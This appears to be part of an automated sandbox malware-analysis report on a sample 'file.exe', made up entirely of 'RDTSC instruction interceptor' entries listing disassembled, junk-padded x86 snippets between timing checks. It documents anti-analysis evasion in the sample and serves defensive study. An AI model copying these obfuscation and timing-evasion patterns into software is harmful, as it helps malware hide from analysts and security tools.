Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F12D second address: 113F165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDF311AD4F6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d jng 00007FDF311AD504h 0x00000013 jmp 00007FDF311AD4FEh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDF311AD502h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F165 second address: 113F171 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDF304F62F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F5C3 second address: 113F5EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FDF311AD4F6h 0x00000009 ja 00007FDF311AD4F6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FDF311AD501h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F5EA second address: 113F5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F5F0 second address: 113F5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F5F4 second address: 113F5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F73E second address: 113F74E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F74E second address: 113F754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F897 second address: 113F89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F89B second address: 113F8C0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pushad 0x0000000c jmp 00007FDF304F6306h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F8C0 second address: 113F8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDF311AD4F6h 0x0000000a jl 00007FDF311AD4F6h 0x00000010 jnc 00007FDF311AD4F6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FDF311AD4F6h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FA02 second address: 113FA23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007FDF304F6300h 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FDF304F62F6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FA23 second address: 113FA27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FA27 second address: 113FA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143437 second address: 114347D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD508h 0x00000007 jne 00007FDF311AD4F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FDF311AD4FFh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007FDF311AD4FCh 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 push edi 0x00000021 pop edi 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153D65 second address: 1153D79 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FDF304F62F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153D79 second address: 1153D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153D7D second address: 1153D8C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDF304F62F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155EDC second address: 1155EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BB3 second address: 1177BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BB7 second address: 1177BBD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BBD second address: 1177BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jc 00007FDF304F62F6h 0x0000000b jmp 00007FDF304F62FAh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDF304F6307h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BEC second address: 1177C15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD503h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FDF311AD4FCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177C15 second address: 1177C29 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDF304F62FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177C29 second address: 1177C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177D59 second address: 1177D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177D63 second address: 1177D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177D69 second address: 1177D6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177EDF second address: 1177EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177EE4 second address: 1177EE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117859C second address: 11785A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11785A2 second address: 11785A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11785A7 second address: 11785C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007FDF311AD4F6h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF311AD501h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178867 second address: 1178882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6307h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178882 second address: 1178892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007FDF311AD517h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC57 second address: 117BC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC5B second address: 117BC5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC5F second address: 117BC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC65 second address: 117BC6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC6B second address: 117BC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC6F second address: 117BC73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC73 second address: 117BCD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FDF304F6309h 0x0000000f nop 0x00000010 pushad 0x00000011 movzx edi, ax 0x00000014 mov dword ptr [ebp+122D1A08h], esi 0x0000001a popad 0x0000001b push dword ptr [ebp+122D2A31h] 0x00000021 xor dword ptr [ebp+122D1E54h], edx 0x00000027 call 00007FDF304F62F9h 0x0000002c jng 00007FDF304F62FEh 0x00000032 push eax 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 pop eax 0x00000037 pushad 0x00000038 popad 0x00000039 popad 0x0000003a pop eax 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BCD6 second address: 117BCEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FDF311AD4F8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BCEC second address: 117BD02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BD02 second address: 117BD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BD10 second address: 117BD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BD1B second address: 117BD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ECB8 second address: 117ECD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF304F6304h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ECD0 second address: 117ECD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ECD4 second address: 117ECE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ECE2 second address: 117ECE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180925 second address: 1180965 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDF304F6305h 0x00000010 jmp 00007FDF304F6309h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290358 second address: 5290367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290367 second address: 529036D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529036D second address: 5290371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903A5 second address: 52903A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903A9 second address: 52903AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903AF second address: 52903F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6308h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FDF304F62FEh 0x00000010 jmp 00007FDF304F6302h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903F5 second address: 52903F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903F9 second address: 52903FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903FF second address: 5290405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290405 second address: 5290409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290409 second address: 529040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529040D second address: 529041C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529041C second address: 5290420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290420 second address: 5290426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290426 second address: 529044C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD501h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDF311AD4FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529044C second address: 5290491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, D092h 0x00000007 pushfd 0x00000008 jmp 00007FDF304F6303h 0x0000000d and esi, 5D94808Eh 0x00000013 jmp 00007FDF304F6309h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290491 second address: 5290495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290495 second address: 52904A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52904A8 second address: 52904AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52904AE second address: 52904B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52904F9 second address: 5290535 instructions: 0x00000000 rdtsc 0x00000002 mov si, 7047h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 mov edi, eax 0x0000000b call 00007FDF311AD506h 0x00000010 pop ecx 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 jmp 00007FDF311AD4FEh 0x00000019 mov dword ptr [esp], ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290535 second address: 529053B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529053B second address: 52905C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF311AD502h 0x00000009 and ah, FFFFFFB8h 0x0000000c jmp 00007FDF311AD4FBh 0x00000011 popfd 0x00000012 jmp 00007FDF311AD508h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d jmp 00007FDF311AD4FEh 0x00000022 pushfd 0x00000023 jmp 00007FDF311AD502h 0x00000028 and ah, 00000078h 0x0000002b jmp 00007FDF311AD4FBh 0x00000030 popfd 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FDF311AD505h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52905C7 second address: 52905D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF304F62FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52905D7 second address: 52905DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290631 second address: 5290635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290635 second address: 529063B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529063B second address: 5290641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290641 second address: 5290693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDF311AD508h 0x00000012 sbb eax, 749C2858h 0x00000018 jmp 00007FDF311AD4FBh 0x0000001d popfd 0x0000001e movzx ecx, dx 0x00000021 popad 0x00000022 mov esi, edx 0x00000024 jmp 00007FDF311AD4FBh 0x00000029 mov al, byte ptr [edx] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push ebx 0x0000002f pop esi 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290693 second address: 5290699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290699 second address: 529069D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529069D second address: 5290693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 jmp 00007FDF304F6300h 0x0000000e test al, al 0x00000010 pushad 0x00000011 movzx esi, dx 0x00000014 pushfd 0x00000015 jmp 00007FDF304F6303h 0x0000001a or eax, 22EC39DEh 0x00000020 jmp 00007FDF304F6309h 0x00000025 popfd 0x00000026 popad 0x00000027 jne 00007FDF304F6288h 0x0000002d mov al, byte ptr [edx] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push ebx 0x00000033 pop esi 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529078B second address: 52907A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD509h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52907A8 second address: 52907AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52907AE second address: 529083F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD503h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edi 0x0000000c jmp 00007FDF311AD506h 0x00000011 test al, al 0x00000013 pushad 0x00000014 mov ecx, 4347DCADh 0x00000019 mov edx, ecx 0x0000001b popad 0x0000001c jne 00007FDFA33E578Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FDF311AD501h 0x0000002b sub eax, 179D71B6h 0x00000031 jmp 00007FDF311AD501h 0x00000036 popfd 0x00000037 pushfd 0x00000038 jmp 00007FDF311AD500h 0x0000003d xor ax, 04D8h 0x00000042 jmp 00007FDF311AD4FBh 0x00000047 popfd 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529083F second address: 5290857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF304F6304h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290857 second address: 5290912 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDF311AD4FDh 0x00000011 add ch, 00000026h 0x00000014 jmp 00007FDF311AD501h 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FDF311AD500h 0x00000020 jmp 00007FDF311AD505h 0x00000025 popfd 0x00000026 popad 0x00000027 shr ecx, 02h 0x0000002a jmp 00007FDF311AD4FEh 0x0000002f rep movsd 0x00000031 rep movsd 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 rep movsd 0x00000039 jmp 00007FDF311AD500h 0x0000003e mov ecx, edx 0x00000040 jmp 00007FDF311AD500h 0x00000045 and ecx, 03h 0x00000048 pushad 0x00000049 call 00007FDF311AD4FEh 0x0000004e jmp 00007FDF311AD502h 0x00000053 pop eax 0x00000054 mov eax, edx 0x00000056 popad 0x00000057 rep movsb 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290912 second address: 5290918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
